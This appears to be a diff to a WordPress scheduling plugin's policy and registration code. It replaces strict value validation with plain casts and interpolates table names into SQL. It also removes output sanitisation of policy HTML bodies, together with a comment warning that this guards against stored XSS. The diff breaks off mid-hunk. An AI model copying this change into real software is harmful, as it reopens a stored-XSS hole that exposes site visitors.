// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only policy selector.
|
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only policy selector.
|
||||||
$policyId = absint( Val::int( $_GET['policy_id'] ?? 0 ) );
|
$policyId = absint( $_GET['policy_id'] ?? 0 );
|
||||||
$policyList = $this->policies->findAll();
|
$policyList = $this->policies->findAll();
|
||||||
$selectedPolicy = $policyId > 0 ? $this->policies->findById( $policyId ) : null;
|
$selectedPolicy = $policyId > 0 ? $this->policies->findById( $policyId ) : null;
|
||||||
$policyVersions = null !== $selectedPolicy ? $this->versions->findByPolicy( (int) $selectedPolicy->id ) : null;
|
$policyVersions = null !== $selectedPolicy ? $this->versions->findByPolicy( (int) $selectedPolicy->id ) : null;
|
||||||
@@ -35,13 +34,13 @@ class PolicyController {
|
|||||||
private function handleFormAction(): void {
|
private function handleFormAction(): void {
|
||||||
// Nonce is verified by the caller (renderPage) before this method runs.
|
// Nonce is verified by the caller (renderPage) before this method runs.
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
||||||
$action = sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ?? '' ) ) );
|
$action = sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) );
|
||||||
|
|
||||||
if ( 'create_policy' === $action ) {
|
if ( 'create_policy' === $action ) {
|
||||||
$title = sanitize_text_field( Val::string( wp_unslash( $_POST['title'] ?? '' ) ) );
|
$title = sanitize_text_field( wp_unslash( $_POST['title'] ?? '' ) );
|
||||||
$slugRaw = sanitize_text_field( Val::string( wp_unslash( $_POST['slug'] ?? '' ) ) );
|
$slugRaw = sanitize_text_field( wp_unslash( $_POST['slug'] ?? '' ) );
|
||||||
$slug = sanitize_title( '' !== $slugRaw ? $slugRaw : $title );
|
$slug = sanitize_title( '' !== $slugRaw ? $slugRaw : $title );
|
||||||
$scope = sanitize_key( Val::string( wp_unslash( $_POST['acceptance_scope'] ?? Policy::SCOPE_BOOKING ) ) );
|
$scope = sanitize_key( wp_unslash( $_POST['acceptance_scope'] ?? Policy::SCOPE_BOOKING ) );
|
||||||
|
|
||||||
if ( ! in_array( $scope, Policy::VALID_SCOPES, true ) ) {
|
if ( ! in_array( $scope, Policy::VALID_SCOPES, true ) ) {
|
||||||
$scope = Policy::SCOPE_BOOKING;
|
$scope = Policy::SCOPE_BOOKING;
|
||||||
@@ -54,18 +53,18 @@ class PolicyController {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
$policyId = absint( Val::int( $_POST['policy_id'] ?? 0 ) );
|
$policyId = absint( $_POST['policy_id'] ?? 0 );
|
||||||
if ( $policyId <= 0 || null === $this->policies->findById( $policyId ) ) {
|
if ( $policyId <= 0 || null === $this->policies->findById( $policyId ) ) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if ( 'add_version' === $action ) {
|
if ( 'add_version' === $action ) {
|
||||||
$body = wp_kses_post( Val::string( wp_unslash( $_POST['body'] ?? '' ) ) );
|
$body = wp_kses_post( wp_unslash( $_POST['body'] ?? '' ) );
|
||||||
$this->service->addDraftVersion( $policyId, $body );
|
$this->service->addDraftVersion( $policyId, $body );
|
||||||
}
|
}
|
||||||
|
|
||||||
if ( 'publish_version' === $action ) {
|
if ( 'publish_version' === $action ) {
|
||||||
$versionId = absint( Val::int( $_POST['version_id'] ?? 0 ) );
|
$versionId = absint( $_POST['version_id'] ?? 0 );
|
||||||
if ( $versionId > 0 ) {
|
if ( $versionId > 0 ) {
|
||||||
$this->service->publishVersion( $policyId, $versionId );
|
$this->service->publishVersion( $policyId, $versionId );
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ declare(strict_types=1);
|
|||||||
namespace Unsupervised\Schedular\Policy;
|
namespace Unsupervised\Schedular\Policy;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Auth\RoleManager;
|
use Unsupervised\Schedular\Auth\RoleManager;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class PolicyEndpoint {
|
class PolicyEndpoint {
|
||||||
|
|
||||||
@@ -14,11 +13,6 @@ class PolicyEndpoint {
|
|||||||
private PolicyService $service,
|
private PolicyService $service,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
/**
|
|
||||||
* Registers this endpoint's REST routes.
|
|
||||||
*
|
|
||||||
* @param non-falsy-string $route_namespace REST namespace the routes are registered under (e.g. `us-scheduler/v1`).
|
|
||||||
*/
|
|
||||||
public function registerRoutes( string $route_namespace ): void {
|
public function registerRoutes( string $route_namespace ): void {
|
||||||
register_rest_route(
|
register_rest_route(
|
||||||
$route_namespace,
|
$route_namespace,
|
||||||
@@ -80,7 +74,7 @@ class PolicyEndpoint {
|
|||||||
* `both`-scoped policies).
|
* `both`-scoped policies).
|
||||||
*/
|
*/
|
||||||
public function index( \WP_REST_Request $request ): \WP_REST_Response {
|
public function index( \WP_REST_Request $request ): \WP_REST_Response {
|
||||||
$scope = Val::string( $request->get_param( 'scope' ) );
|
$scope = (string) $request->get_param( 'scope' );
|
||||||
$policies = in_array( $scope, [ Policy::SCOPE_SIGNUP, Policy::SCOPE_BOOKING ], true )
|
$policies = in_array( $scope, [ Policy::SCOPE_SIGNUP, Policy::SCOPE_BOOKING ], true )
|
||||||
? $this->policies->findForScope( $scope )
|
? $this->policies->findForScope( $scope )
|
||||||
: $this->policies->findAll();
|
: $this->policies->findAll();
|
||||||
@@ -103,10 +97,7 @@ class PolicyEndpoint {
|
|||||||
'slug' => $policy->slug,
|
'slug' => $policy->slug,
|
||||||
'policy_version_id' => $version->id,
|
'policy_version_id' => $version->id,
|
||||||
'version_number' => $version->versionNumber,
|
'version_number' => $version->versionNumber,
|
||||||
// Bodies are kses'd on every write path, but the booking JS renders
|
'body' => $version->body,
|
||||||
// this HTML raw — sanitise at output too so a missed write path can
|
|
||||||
// never become stored XSS.
|
|
||||||
'body' => wp_kses_post( (string) $version->body ),
|
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -114,12 +105,12 @@ class PolicyEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public function create( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
public function create( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
||||||
$title = sanitize_text_field( Val::string( $request->get_param( 'title' ) ) );
|
$title = sanitize_text_field( (string) $request->get_param( 'title' ) );
|
||||||
if ( '' === $title ) {
|
if ( '' === $title ) {
|
||||||
return $this->invalid( __( 'A policy title is required.', 'unsupervised-schedular' ) );
|
return $this->invalid( __( 'A policy title is required.', 'unsupervised-schedular' ) );
|
||||||
}
|
}
|
||||||
|
|
||||||
$slugParam = sanitize_text_field( Val::string( $request->get_param( 'slug' ) ) );
|
$slugParam = sanitize_text_field( (string) $request->get_param( 'slug' ) );
|
||||||
$slug = sanitize_title( '' !== $slugParam ? $slugParam : $title );
|
$slug = sanitize_title( '' !== $slugParam ? $slugParam : $title );
|
||||||
if ( '' === $slug ) {
|
if ( '' === $slug ) {
|
||||||
return $this->invalid( __( 'A valid policy slug is required.', 'unsupervised-schedular' ) );
|
return $this->invalid( __( 'A valid policy slug is required.', 'unsupervised-schedular' ) );
|
||||||
@@ -129,7 +120,7 @@ class PolicyEndpoint {
|
|||||||
return new \WP_Error( 'duplicate_slug', __( 'A policy with that slug already exists.', 'unsupervised-schedular' ), [ 'status' => 409 ] );
|
return new \WP_Error( 'duplicate_slug', __( 'A policy with that slug already exists.', 'unsupervised-schedular' ), [ 'status' => 409 ] );
|
||||||
}
|
}
|
||||||
|
|
||||||
$scope = Val::string( $request->get_param( 'acceptance_scope' ) ?? Policy::SCOPE_BOOKING );
|
$scope = (string) ( $request->get_param( 'acceptance_scope' ) ?? Policy::SCOPE_BOOKING );
|
||||||
if ( ! in_array( $scope, Policy::VALID_SCOPES, true ) ) {
|
if ( ! in_array( $scope, Policy::VALID_SCOPES, true ) ) {
|
||||||
return $this->invalid( __( 'Invalid acceptance scope.', 'unsupervised-schedular' ) );
|
return $this->invalid( __( 'Invalid acceptance scope.', 'unsupervised-schedular' ) );
|
||||||
}
|
}
|
||||||
@@ -140,12 +131,12 @@ class PolicyEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public function addVersion( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
public function addVersion( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
||||||
$policy = $this->policies->findById( absint( Val::int( $request->get_param( 'id' ) ) ) );
|
$policy = $this->policies->findById( absint( $request->get_param( 'id' ) ) );
|
||||||
if ( null === $policy ) {
|
if ( null === $policy ) {
|
||||||
return $this->notFound();
|
return $this->notFound();
|
||||||
}
|
}
|
||||||
|
|
||||||
$body = wp_kses_post( Val::string( $request->get_param( 'body' ) ) );
|
$body = wp_kses_post( (string) $request->get_param( 'body' ) );
|
||||||
$id = $this->service->addDraftVersion( (int) $policy->id, $body );
|
$id = $this->service->addDraftVersion( (int) $policy->id, $body );
|
||||||
|
|
||||||
return new \WP_REST_Response( [ 'id' => $id ], 201 );
|
return new \WP_REST_Response( [ 'id' => $id ], 201 );
|
||||||
@@ -161,7 +152,7 @@ class PolicyEndpoint {
|
|||||||
return $this->invalid( __( 'Only draft versions can be edited.', 'unsupervised-schedular' ) );
|
return $this->invalid( __( 'Only draft versions can be edited.', 'unsupervised-schedular' ) );
|
||||||
}
|
}
|
||||||
|
|
||||||
$body = wp_kses_post( Val::string( $request->get_param( 'body' ) ) );
|
$body = wp_kses_post( (string) $request->get_param( 'body' ) );
|
||||||
$this->versions->updateBody( (int) $version->id, $body );
|
$this->versions->updateBody( (int) $version->id, $body );
|
||||||
|
|
||||||
return new \WP_REST_Response(
|
return new \WP_REST_Response(
|
||||||
@@ -179,7 +170,7 @@ class PolicyEndpoint {
|
|||||||
return $version;
|
return $version;
|
||||||
}
|
}
|
||||||
|
|
||||||
$this->service->publishVersion( Val::int( $request->get_param( 'id' ) ), (int) $version->id );
|
$this->service->publishVersion( (int) $request->get_param( 'id' ), (int) $version->id );
|
||||||
|
|
||||||
return new \WP_REST_Response(
|
return new \WP_REST_Response(
|
||||||
[
|
[
|
||||||
@@ -208,8 +199,8 @@ class PolicyEndpoint {
|
|||||||
* Load the version named in the route and confirm it belongs to the policy.
|
* Load the version named in the route and confirm it belongs to the policy.
|
||||||
*/
|
*/
|
||||||
private function loadVersionForPolicy( \WP_REST_Request $request ): PolicyVersion|\WP_Error {
|
private function loadVersionForPolicy( \WP_REST_Request $request ): PolicyVersion|\WP_Error {
|
||||||
$policyId = absint( Val::int( $request->get_param( 'id' ) ) );
|
$policyId = absint( $request->get_param( 'id' ) );
|
||||||
$version = $this->versions->findById( absint( Val::int( $request->get_param( 'vid' ) ) ) );
|
$version = $this->versions->findById( absint( $request->get_param( 'vid' ) ) );
|
||||||
|
|
||||||
if ( null === $version || $version->policyId !== $policyId ) {
|
if ( null === $version || $version->policyId !== $policyId ) {
|
||||||
return $this->notFound();
|
return $this->notFound();
|
||||||
|
|||||||
@@ -36,8 +36,7 @@ class PolicyRepository {
|
|||||||
public function findForScope( string $scope ): array {
|
public function findForScope( string $scope ): array {
|
||||||
$rows = $this->db->get_results(
|
$rows = $this->db->get_results(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT * FROM %i WHERE acceptance_scope = %s OR acceptance_scope = %s ORDER BY title ASC',
|
"SELECT * FROM {$this->table} WHERE acceptance_scope = %s OR acceptance_scope = %s ORDER BY title ASC",
|
||||||
$this->table,
|
|
||||||
$scope,
|
$scope,
|
||||||
Policy::SCOPE_BOTH
|
Policy::SCOPE_BOTH
|
||||||
)
|
)
|
||||||
@@ -69,7 +68,7 @@ class PolicyRepository {
|
|||||||
|
|
||||||
public function findById( int $id ): ?Policy {
|
public function findById( int $id ): ?Policy {
|
||||||
$row = $this->db->get_row(
|
$row = $this->db->get_row(
|
||||||
$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
|
$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
|
||||||
);
|
);
|
||||||
|
|
||||||
return $row ? Policy::fromRow( $row ) : null;
|
return $row ? Policy::fromRow( $row ) : null;
|
||||||
@@ -77,7 +76,7 @@ class PolicyRepository {
|
|||||||
|
|
||||||
public function findBySlug( string $slug ): ?Policy {
|
public function findBySlug( string $slug ): ?Policy {
|
||||||
$row = $this->db->get_row(
|
$row = $this->db->get_row(
|
||||||
$this->db->prepare( 'SELECT * FROM %i WHERE slug = %s', $this->table, $slug )
|
$this->db->prepare( "SELECT * FROM {$this->table} WHERE slug = %s", $slug )
|
||||||
);
|
);
|
||||||
|
|
||||||
return $row ? Policy::fromRow( $row ) : null;
|
return $row ? Policy::fromRow( $row ) : null;
|
||||||
|
|||||||
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Policy;
|
namespace Unsupervised\Schedular\Policy;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class PolicyVersion {
|
class PolicyVersion {
|
||||||
|
|
||||||
public const STATUS_DRAFT = 'draft';
|
public const STATUS_DRAFT = 'draft';
|
||||||
@@ -27,14 +25,14 @@ class PolicyVersion {
|
|||||||
public readonly ?int $id = null,
|
public readonly ?int $id = null,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
public static function fromRow( \stdClass $row ): self {
|
public static function fromRow( object $row ): self {
|
||||||
return new self(
|
return new self(
|
||||||
policyId: Val::int( $row->policy_id ),
|
policyId: (int) $row->policy_id,
|
||||||
versionNumber: Val::int( $row->version_number ),
|
versionNumber: (int) $row->version_number,
|
||||||
body: Val::stringOrNull( $row->body ),
|
body: $row->body,
|
||||||
status: Val::string( $row->status ),
|
status: $row->status,
|
||||||
publishedAt: Val::stringOrNull( $row->published_at ),
|
publishedAt: $row->published_at,
|
||||||
id: Val::int( $row->id ),
|
id: (int) $row->id,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -59,8 +59,7 @@ class PolicyVersionRepository {
|
|||||||
public function findByPolicy( int $policyId ): array {
|
public function findByPolicy( int $policyId ): array {
|
||||||
$rows = $this->db->get_results(
|
$rows = $this->db->get_results(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT * FROM %i WHERE policy_id = %d ORDER BY version_number DESC',
|
"SELECT * FROM {$this->table} WHERE policy_id = %d ORDER BY version_number DESC",
|
||||||
$this->table,
|
|
||||||
$policyId
|
$policyId
|
||||||
)
|
)
|
||||||
);
|
);
|
||||||
@@ -70,7 +69,7 @@ class PolicyVersionRepository {
|
|||||||
|
|
||||||
public function findById( int $id ): ?PolicyVersion {
|
public function findById( int $id ): ?PolicyVersion {
|
||||||
$row = $this->db->get_row(
|
$row = $this->db->get_row(
|
||||||
$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
|
$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
|
||||||
);
|
);
|
||||||
|
|
||||||
return $row ? PolicyVersion::fromRow( $row ) : null;
|
return $row ? PolicyVersion::fromRow( $row ) : null;
|
||||||
@@ -81,7 +80,7 @@ class PolicyVersionRepository {
|
|||||||
*/
|
*/
|
||||||
public function maxVersionNumber( int $policyId ): int {
|
public function maxVersionNumber( int $policyId ): int {
|
||||||
$max = $this->db->get_var(
|
$max = $this->db->get_var(
|
||||||
$this->db->prepare( 'SELECT MAX(version_number) FROM %i WHERE policy_id = %d', $this->table, $policyId )
|
$this->db->prepare( "SELECT MAX(version_number) FROM {$this->table} WHERE policy_id = %d", $policyId )
|
||||||
);
|
);
|
||||||
|
|
||||||
return null === $max ? 0 : (int) $max;
|
return null === $max ? 0 : (int) $max;
|
||||||
|
|||||||
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Registration;
|
namespace Unsupervised\Schedular\Registration;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class Answer {
|
class Answer {
|
||||||
|
|
||||||
public const REG_LESSON = 'lesson';
|
public const REG_LESSON = 'lesson';
|
||||||
@@ -26,14 +24,14 @@ class Answer {
|
|||||||
public readonly ?int $id = null,
|
public readonly ?int $id = null,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
public static function fromRow( \stdClass $row ): self {
|
public static function fromRow( object $row ): self {
|
||||||
return new self(
|
return new self(
|
||||||
questionId: Val::int( $row->question_id ),
|
questionId: (int) $row->question_id,
|
||||||
registrationType: Val::string( $row->registration_type ),
|
registrationType: $row->registration_type,
|
||||||
registrationId: Val::int( $row->registration_id ),
|
registrationId: (int) $row->registration_id,
|
||||||
studentId: Val::int( $row->student_id ),
|
studentId: (int) $row->student_id,
|
||||||
answerValue: Val::stringOrNull( $row->answer_value ),
|
answerValue: $row->answer_value,
|
||||||
id: Val::int( $row->id ),
|
id: (int) $row->id,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -46,8 +46,7 @@ class AnswerRepository {
|
|||||||
public function findByRegistration( string $registrationType, int $registrationId ): array {
|
public function findByRegistration( string $registrationType, int $registrationId ): array {
|
||||||
$rows = $this->db->get_results(
|
$rows = $this->db->get_results(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT * FROM %i WHERE registration_type = %s AND registration_id = %d ORDER BY id ASC',
|
"SELECT * FROM {$this->table} WHERE registration_type = %s AND registration_id = %d ORDER BY id ASC",
|
||||||
$this->table,
|
|
||||||
$registrationType,
|
$registrationType,
|
||||||
$registrationId
|
$registrationId
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Registration;
|
namespace Unsupervised\Schedular\Registration;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class Question {
|
class Question {
|
||||||
|
|
||||||
public const FIELD_TEXT = 'text';
|
public const FIELD_TEXT = 'text';
|
||||||
@@ -40,24 +38,22 @@ class Question {
|
|||||||
public readonly ?int $id = null,
|
public readonly ?int $id = null,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
public static function fromRow( \stdClass $row ): self {
|
public static function fromRow( object $row ): self {
|
||||||
$options = null;
|
$options = null;
|
||||||
if ( null !== $row->options && '' !== $row->options ) {
|
if ( null !== $row->options && '' !== $row->options ) {
|
||||||
$decoded = json_decode( Val::string( $row->options ), true );
|
$decoded = json_decode( (string) $row->options, true );
|
||||||
$options = is_array( $decoded )
|
$options = is_array( $decoded ) ? array_values( array_map( 'strval', $decoded ) ) : null;
|
||||||
? array_values( array_map( static fn( mixed $v ): string => Val::string( $v ), $decoded ) )
|
|
||||||
: null;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return new self(
|
return new self(
|
||||||
offeringId: Val::int( $row->offering_id ),
|
offeringId: (int) $row->offering_id,
|
||||||
label: Val::string( $row->label ),
|
label: $row->label,
|
||||||
fieldType: Val::string( $row->field_type ),
|
fieldType: $row->field_type,
|
||||||
options: $options,
|
options: $options,
|
||||||
isRequired: Val::bool( $row->is_required ),
|
isRequired: (bool) $row->is_required,
|
||||||
sortOrder: Val::int( $row->sort_order ),
|
sortOrder: (int) $row->sort_order,
|
||||||
isActive: Val::bool( $row->is_active ),
|
isActive: (bool) $row->is_active,
|
||||||
id: Val::int( $row->id ),
|
id: (int) $row->id,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ namespace Unsupervised\Schedular\Registration;
|
|||||||
use Unsupervised\Schedular\Auth\RoleManager;
|
use Unsupervised\Schedular\Auth\RoleManager;
|
||||||
use Unsupervised\Schedular\Offering\Offering;
|
use Unsupervised\Schedular\Offering\Offering;
|
||||||
use Unsupervised\Schedular\Offering\OfferingRepository;
|
use Unsupervised\Schedular\Offering\OfferingRepository;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class QuestionController {
|
class QuestionController {
|
||||||
|
|
||||||
@@ -24,7 +23,7 @@ class QuestionController {
|
|||||||
$manageAll = current_user_can( RoleManager::CAP_MANAGE_INSTRUCTORS );
|
$manageAll = current_user_can( RoleManager::CAP_MANAGE_INSTRUCTORS );
|
||||||
|
|
||||||
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only offering selector.
|
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only offering selector.
|
||||||
$offeringId = absint( Val::int( $_GET['offering_id'] ?? 0 ) );
|
$offeringId = absint( $_GET['offering_id'] ?? 0 );
|
||||||
$offeringList = $manageAll ? $this->offerings->findAll() : $this->offerings->findAll( $userId );
|
$offeringList = $manageAll ? $this->offerings->findAll() : $this->offerings->findAll( $userId );
|
||||||
$selectedOffering = $offeringId > 0 ? $this->offerings->findById( $offeringId ) : null;
|
$selectedOffering = $offeringId > 0 ? $this->offerings->findById( $offeringId ) : null;
|
||||||
|
|
||||||
@@ -47,14 +46,14 @@ class QuestionController {
|
|||||||
private function handleFormAction( Offering $offering ): void {
|
private function handleFormAction( Offering $offering ): void {
|
||||||
// Nonce is verified by the caller (renderPage) before this method runs.
|
// Nonce is verified by the caller (renderPage) before this method runs.
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
||||||
$action = sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ?? '' ) ) );
|
$action = sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) );
|
||||||
|
|
||||||
if ( 'add' === $action ) {
|
if ( 'add' === $action ) {
|
||||||
$this->addQuestion( (int) $offering->id );
|
$this->addQuestion( (int) $offering->id );
|
||||||
}
|
}
|
||||||
|
|
||||||
if ( 'delete' === $action ) {
|
if ( 'delete' === $action ) {
|
||||||
$questionId = absint( Val::int( $_POST['question_id'] ?? 0 ) );
|
$questionId = absint( $_POST['question_id'] ?? 0 );
|
||||||
if ( $questionId > 0 ) {
|
if ( $questionId > 0 ) {
|
||||||
$question = $this->questions->findById( $questionId );
|
$question = $this->questions->findById( $questionId );
|
||||||
if ( $question && $question->offeringId === (int) $offering->id ) {
|
if ( $question && $question->offeringId === (int) $offering->id ) {
|
||||||
@@ -67,8 +66,8 @@ class QuestionController {
|
|||||||
|
|
||||||
private function addQuestion( int $offeringId ): void {
|
private function addQuestion( int $offeringId ): void {
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
||||||
$label = sanitize_text_field( Val::string( wp_unslash( $_POST['label'] ?? '' ) ) );
|
$label = sanitize_text_field( wp_unslash( $_POST['label'] ?? '' ) );
|
||||||
$fieldType = sanitize_key( Val::string( wp_unslash( $_POST['field_type'] ?? Question::FIELD_TEXT ) ) );
|
$fieldType = sanitize_key( wp_unslash( $_POST['field_type'] ?? Question::FIELD_TEXT ) );
|
||||||
|
|
||||||
if ( '' === $label || ! in_array( $fieldType, Question::VALID_FIELD_TYPES, true ) ) {
|
if ( '' === $label || ! in_array( $fieldType, Question::VALID_FIELD_TYPES, true ) ) {
|
||||||
return;
|
return;
|
||||||
@@ -79,9 +78,9 @@ class QuestionController {
|
|||||||
offeringId: $offeringId,
|
offeringId: $offeringId,
|
||||||
label: $label,
|
label: $label,
|
||||||
fieldType: $fieldType,
|
fieldType: $fieldType,
|
||||||
options: $this->parseOptions( sanitize_textarea_field( Val::string( wp_unslash( $_POST['options'] ?? '' ) ) ) ),
|
options: $this->parseOptions( sanitize_textarea_field( wp_unslash( $_POST['options'] ?? '' ) ) ),
|
||||||
isRequired: isset( $_POST['is_required'] ),
|
isRequired: isset( $_POST['is_required'] ),
|
||||||
sortOrder: absint( Val::int( $_POST['sort_order'] ?? 0 ) ),
|
sortOrder: absint( $_POST['sort_order'] ?? 0 ),
|
||||||
)
|
)
|
||||||
);
|
);
|
||||||
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ namespace Unsupervised\Schedular\Registration;
|
|||||||
|
|
||||||
use Unsupervised\Schedular\Auth\RoleManager;
|
use Unsupervised\Schedular\Auth\RoleManager;
|
||||||
use Unsupervised\Schedular\Offering\OfferingRepository;
|
use Unsupervised\Schedular\Offering\OfferingRepository;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class QuestionEndpoint {
|
class QuestionEndpoint {
|
||||||
|
|
||||||
@@ -14,11 +13,6 @@ class QuestionEndpoint {
|
|||||||
private OfferingRepository $offerings,
|
private OfferingRepository $offerings,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
/**
|
|
||||||
* Registers this endpoint's REST routes.
|
|
||||||
*
|
|
||||||
* @param non-falsy-string $route_namespace REST namespace the routes are registered under (e.g. `us-scheduler/v1`).
|
|
||||||
*/
|
|
||||||
public function registerRoutes( string $route_namespace ): void {
|
public function registerRoutes( string $route_namespace ): void {
|
||||||
register_rest_route(
|
register_rest_route(
|
||||||
$route_namespace,
|
$route_namespace,
|
||||||
@@ -63,24 +57,24 @@ class QuestionEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public function index( \WP_REST_Request $request ): \WP_REST_Response {
|
public function index( \WP_REST_Request $request ): \WP_REST_Response {
|
||||||
$questions = $this->questions->findByOffering( absint( Val::int( $request->get_param( 'id' ) ) ), activeOnly: true );
|
$questions = $this->questions->findByOffering( absint( $request->get_param( 'id' ) ), activeOnly: true );
|
||||||
|
|
||||||
return new \WP_REST_Response( array_map( fn( Question $q ) => $q->toArray(), $questions ), 200 );
|
return new \WP_REST_Response( array_map( fn( Question $q ) => $q->toArray(), $questions ), 200 );
|
||||||
}
|
}
|
||||||
|
|
||||||
public function create( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
public function create( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
||||||
$offeringId = absint( Val::int( $request->get_param( 'offering_id' ) ) );
|
$offeringId = absint( $request->get_param( 'offering_id' ) );
|
||||||
$ownerCheck = $this->requireOfferingOwner( $offeringId );
|
$ownerCheck = $this->requireOfferingOwner( $offeringId );
|
||||||
if ( $ownerCheck instanceof \WP_Error ) {
|
if ( $ownerCheck instanceof \WP_Error ) {
|
||||||
return $ownerCheck;
|
return $ownerCheck;
|
||||||
}
|
}
|
||||||
|
|
||||||
$label = sanitize_text_field( Val::string( $request->get_param( 'label' ) ) );
|
$label = sanitize_text_field( (string) $request->get_param( 'label' ) );
|
||||||
if ( '' === $label ) {
|
if ( '' === $label ) {
|
||||||
return $this->invalid( __( 'A question label is required.', 'unsupervised-schedular' ) );
|
return $this->invalid( __( 'A question label is required.', 'unsupervised-schedular' ) );
|
||||||
}
|
}
|
||||||
|
|
||||||
$fieldType = Val::string( $request->get_param( 'field_type' ) ?? Question::FIELD_TEXT );
|
$fieldType = (string) ( $request->get_param( 'field_type' ) ?? Question::FIELD_TEXT );
|
||||||
if ( ! in_array( $fieldType, Question::VALID_FIELD_TYPES, true ) ) {
|
if ( ! in_array( $fieldType, Question::VALID_FIELD_TYPES, true ) ) {
|
||||||
return $this->invalid( __( 'Invalid field type.', 'unsupervised-schedular' ) );
|
return $this->invalid( __( 'Invalid field type.', 'unsupervised-schedular' ) );
|
||||||
}
|
}
|
||||||
@@ -91,7 +85,7 @@ class QuestionEndpoint {
|
|||||||
fieldType: $fieldType,
|
fieldType: $fieldType,
|
||||||
options: $this->sanitizeOptions( $request->get_param( 'options' ) ),
|
options: $this->sanitizeOptions( $request->get_param( 'options' ) ),
|
||||||
isRequired: (bool) $request->get_param( 'is_required' ),
|
isRequired: (bool) $request->get_param( 'is_required' ),
|
||||||
sortOrder: Val::int( $request->get_param( 'sort_order' ) ),
|
sortOrder: (int) $request->get_param( 'sort_order' ),
|
||||||
isActive: null === $request->get_param( 'is_active' ) ? true : (bool) $request->get_param( 'is_active' ),
|
isActive: null === $request->get_param( 'is_active' ) ? true : (bool) $request->get_param( 'is_active' ),
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -101,7 +95,7 @@ class QuestionEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public function update( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
public function update( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
||||||
$id = absint( Val::int( $request->get_param( 'id' ) ) );
|
$id = absint( $request->get_param( 'id' ) );
|
||||||
$existing = $this->questions->findById( $id );
|
$existing = $this->questions->findById( $id );
|
||||||
|
|
||||||
if ( null === $existing ) {
|
if ( null === $existing ) {
|
||||||
@@ -113,18 +107,18 @@ class QuestionEndpoint {
|
|||||||
return $ownerCheck;
|
return $ownerCheck;
|
||||||
}
|
}
|
||||||
|
|
||||||
$fieldType = $request->has_param( 'field_type' ) ? Val::string( $request->get_param( 'field_type' ) ) : $existing->fieldType;
|
$fieldType = $request->has_param( 'field_type' ) ? (string) $request->get_param( 'field_type' ) : $existing->fieldType;
|
||||||
if ( ! in_array( $fieldType, Question::VALID_FIELD_TYPES, true ) ) {
|
if ( ! in_array( $fieldType, Question::VALID_FIELD_TYPES, true ) ) {
|
||||||
return $this->invalid( __( 'Invalid field type.', 'unsupervised-schedular' ) );
|
return $this->invalid( __( 'Invalid field type.', 'unsupervised-schedular' ) );
|
||||||
}
|
}
|
||||||
|
|
||||||
$question = new Question(
|
